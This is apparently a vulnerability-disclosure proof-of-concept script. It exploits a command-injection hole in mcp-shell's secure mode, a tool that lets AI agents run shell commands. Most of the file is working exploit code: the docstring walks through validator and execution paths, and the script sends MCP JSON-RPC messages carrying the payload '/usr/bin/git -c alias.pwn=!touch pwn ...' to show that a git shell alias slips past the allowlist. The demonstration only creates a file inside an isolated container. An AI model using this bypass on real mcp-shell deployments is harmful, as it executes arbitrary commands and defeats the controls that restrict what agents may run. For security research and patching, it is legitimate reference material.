#!/usr/bin/env python3
"""
Proof-of-Concept for VULN-001: Secure Mode Allowlist Bypass via Git Shell Alias
Repository:  sonirico/mcp-shell (commit c30862f)
CWE-78:      OS Command Injection

Vulnerability:
    mcp-shell "secure mode" uses security.yaml to allowlist executables.
    The default config allows /usr/bin/git.  The security validator in
    security.go checks for metacharacters (|&;<>(){}[]$`\\) but does NOT
    include '!' in the blocked set.  Git's -c flag accepts runtime config
    overrides; setting 'alias.NAME=!CMD' defines a shell alias that runs
    CMD as a shell command when 'NAME' is used as a git subcommand.

Exploit payload (MCP tools/call -> shell_exec argument):
    /usr/bin/git -c alias.pwn=!touch pwn /tmp/mcp-shell-mcp-poc

    Validation path (all checks pass):
      containsShellMetacharacters("alias.pwn=!touch")  -> False  (! not in set)
      containsDangerousShellConstructs("alias.pwn=!touch") -> False (! not in set)
      matchesExecutable("/usr/bin/git", "/usr/bin/git") -> True

    Execution path:
      exec.CommandContext(ctx, "/usr/bin/git",
          "-c", "alias.pwn=!touch", "pwn", "/tmp/mcp-shell-mcp-poc")
      -> git defines alias pwn = !touch
      -> git runs subcommand "pwn" -> triggers shell alias
      -> sh -c 'touch "$@"' _ /tmp/mcp-shell-mcp-poc
      -> file /tmp/mcp-shell-mcp-poc is created

Evidence method:
    The container's /tmp is bind-mounted to a host temporary directory.
    After the MCP call, verify the evidence file exists on the host.

Usage:
    # From the repo parent directory:
    docker build -f vuln-001/Dockerfile -t mcp-shell-vuln-001 .
    python3 vuln-001/poc.py
"""

import json
import os
import subprocess
import sys
import tempfile
import stat

IMAGE_NAME = "mcp-shell-vuln-001"
EVIDENCE_FILENAME = "mcp-shell-mcp-poc"
EXPLOIT_TARGET = f"/tmp/{EVIDENCE_FILENAME}"

# MCP JSON-RPC protocol requires:
#   1. initialize handshake (client -> server)
#   2. notifications/initialized acknowledgement
#   3. tools/call with the exploit payload
MCP_INITIALIZE = json.dumps({
    "jsonrpc": "2.0",
    "id": 1,
    "method": "initialize",
    "params": {
        "protocolVersion": "2024-11-05",
        "capabilities": {},
        "clientInfo": {"name": "vuln-001-poc", "version": "1.0.0"},
    },
})

MCP_INITIALIZED = json.dumps({
    "jsonrpc": "2.0",
    "method": "notifications/initialized",
})

# The malicious command:
#   /usr/bin/git    - allowed by security.yaml AllowedExecutables
#   -c alias.pwn=!touch  - git runtime config; ! prefix = shell alias
#                          NOT blocked: '!' absent from security.go metachars
#   pwn             - triggers the alias (git subcommand lookup)
#   /tmp/<file>     - argument forwarded to touch by git shell alias
MCP_EXPLOIT = json.dumps({
    "jsonrpc": "2.0",
    "id": 2,
    "method": "tools/call",
    "params": {
        "name": "shell_exec",
        "arguments": {
            "command": f"/usr/bin/git -c alias.pwn=!touch pwn {EXPLOIT_TARGET}",
            "base64": False,
        },
    },
})


def run(args, **kwargs):
    print(f"[*] {' '.join(str(a) for a in args)}")
    return subprocess.run(args, **kwargs)


def parse_mcp_response(stdout_text):
    """Parse newline-delimited JSON-RPC responses, return the tools/call result."""
    for line in stdout_text.splitlines():
        line = line.strip()
        if not line:
            continue
        try:
            msg = json.loads(line)
            if msg.get("id") == 2:
                return msg
        except json.JSONDecodeError:
            pass
    return None


def main():
    print("=" * 62)
    print("VULN-001 PoC — mcp-shell Secure Mode Bypass via Git Alias")
    print("=" * 62)
    print()

    # Create a host-side temporary directory that will be bind-mounted
    # as /tmp inside the container.  This lets us observe file creation
    # caused by the git shell alias without needing 'docker exec'.
    host_tmp = tempfile.mkdtemp(prefix="mcp-vuln001-")
    # Allow UID 1000 (mcpuser inside the container) to write files here.
    os.chmod(host_tmp, 0o1777)
    evidence_host_path = os.path.join(host_tmp, EVIDENCE_FILENAME)

    print(f"[*] Host bind-mount (-> /tmp inside container): {host_tmp}")
    print(f"[*] Expected evidence file on host: {evidence_host_path}")
    print()
    print(f"[*] Exploit command (shell_exec argument):")
    print(f"      /usr/bin/git -c alias.pwn=!touch pwn {EXPLOIT_TARGET}")
    print()

    # Build the newline-delimited JSON-RPC payload sent over stdin.
    # mcp-shell reads one JSON object per line.
    payload_bytes = (
        MCP_INITIALIZE + "\n" +
        MCP_INITIALIZED + "\n" +
        MCP_EXPLOIT + "\n"
    ).encode()

    print("[*] Sending MCP JSON-RPC payload to container via stdin ...")
    try:
        proc = run(
            [
                "docker", "run",
                "--rm",            # Remove container on exit
                "-i",              # Keep stdin open for piped input
                "--network=none",  # No external network access (safety)
                "-v", f"{host_tmp}:/tmp",   # Expose container's /tmp on host
                IMAGE_NAME,
            ],
            input=payload_bytes,
            capture_output=True,
            timeout=40,
        )
    except subprocess.TimeoutExpired:
        print("[FAIL] docker run timed out after 40 seconds")
        sys.exit(1)
    except FileNotFoundError:
        print("[FAIL] 'docker' not found — install Docker to run this PoC")
        sys.exit(1)

    stdout = proc.stdout.decode(errors="replace")
    stderr = proc.stderr.decode(errors="replace")

    print()
    print("[*] Container stdout (MCP responses):")
    for line in stdout.splitlines():
        print(f"    {line}")

    if stderr.strip():
        print("[*] Container stderr:")
        for line in stderr.splitlines():
            print(f"    {line}")

    print()

    # Locate and pretty-print the tools/call MCP response.
    exploit_response = parse_mcp_response(stdout)
    if exploit_response:
        print("[*] MCP tools/call response (id=2):")
        print(json.dumps(exploit_response, indent=4))
        print()

    # --- Primary evidence check ---
    if os.path.exists(evidence_host_path):
        st = os.stat(evidence_host_path)
        print(f"[PASS] Evidence file found on host: {evidence_host_path}")
        print(f"       size={st.st_size}  mode={oct(st.st_mode)}  uid={st.st_uid}")
        print()
        print("[PASS] EXPLOIT SUCCESSFUL")
        print("       'touch /tmp/mcp-shell-mcp-poc' was executed INSIDE the container")
        print("       by the git shell alias, bypassing mcp-shell secure mode.")
        passed = True
        evidence = (
            f"File '{evidence_host_path}' created on host via /tmp volume mount. "
            f"size={st.st_size} uid={st.st_uid} mode={oct(st.st_mode)}. "
            f"MCP response: {json.dumps(exploit_response) if exploit_response else 'n/a'}"
        )
    else:
        print(f"[FAIL] Evidence file NOT found at: {evidence_host_path}")
        print("[FAIL] EXPLOIT FAILED")
        if exploit_response:
            result_content = exploit_response.get("result", {})
            print(f"       MCP result: {json.dumps(result_content)}")
        passed = False
        evidence = (
            f"Evidence file was not created. "
            f"stdout={stdout[:600]!r} stderr={stderr[:300]!r}"
        )

    print()
    return passed, evidence


if __name__ == "__main__":
    passed, evidence = main()
    sys.exit(0 if passed else 1)